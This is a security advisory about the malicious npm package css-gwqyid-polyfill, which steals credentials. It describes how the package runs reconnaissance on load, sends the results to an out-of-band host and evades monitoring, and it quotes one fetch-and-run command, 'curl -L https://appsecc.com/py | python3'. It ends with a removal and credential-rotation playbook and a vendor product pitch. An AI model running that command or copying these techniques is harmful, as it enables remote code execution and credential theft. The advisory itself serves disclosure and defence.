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Malicious package

css-gwqyid-polyfillnpm

Advisory published Updated

css-gwqyid-polyfill is a confirmed malicious npm package (MAL-2026-17574) that steals credentials and exfiltrates sensitive data (malicious version 1.0.0). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in css-gwqyid-polyfill (npm)

MAL-2026-17574
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall css-gwqyid-polyfill

What this malware does

thunderboltRegistry.js executes an IIFE on module load that collects host reconnaissance (id, whoami, full process environment via env, and ifconfig/ip addr output) and sends each result as a GET query-string to the hardcoded out-of-band host https://unl9pgk6ei4uf80n5tf4iktspjvbuzkn9.oastify.com/, keyed by os.hostname(). The same IIFE invokes execSync("curl -L https://appsecc.com/py | python3") to fetch and execute an opaque remote Python payload with the installer's privileges, tagging the output cmd=reverse-shell before exfiltrating it to the same oastify host. The payload deletes its own entries from require.cache and resolves child_process through three alternative paths (plain name, node: prefix, and a freshly constructed Module instance) to evade monkey-patched require hooks. The package's advertised identity as a CSS/Thunderbolt polyfill does not correspond to any code of that nature in the file and functions as a cover story for the recon, fetch-and-execute, and sandbox-evasion logic.

Malicious versions

1 flagged
1.0.0

Indicators of compromise (SHA-256)

3a81a389193175e49648e711d4eb83ebcbbd0b51e1b7a6677ceb338c3398dc19

Detection & response playbook

Credential / info stealer
  1. Find it

    Search your lockfiles and build artifacts for css-gwqyid-polyfill (version 1.0.0).

  2. If you installed it — respond

    css-gwqyid-polyfill is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

  3. Did it already run?

    If css-gwqyid-polyfill was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. css-gwqyid-polyfill on npm has been identified as a malicious package (version 1.0.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-021076

References

Credits

  • Amazon Inspector · finder

Detect & block this

O3 blocks css-gwqyid-polyfill-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Explore

css-gwqyid-polyfill (npm) malicious package — MAL-2026-17574 | O3 Security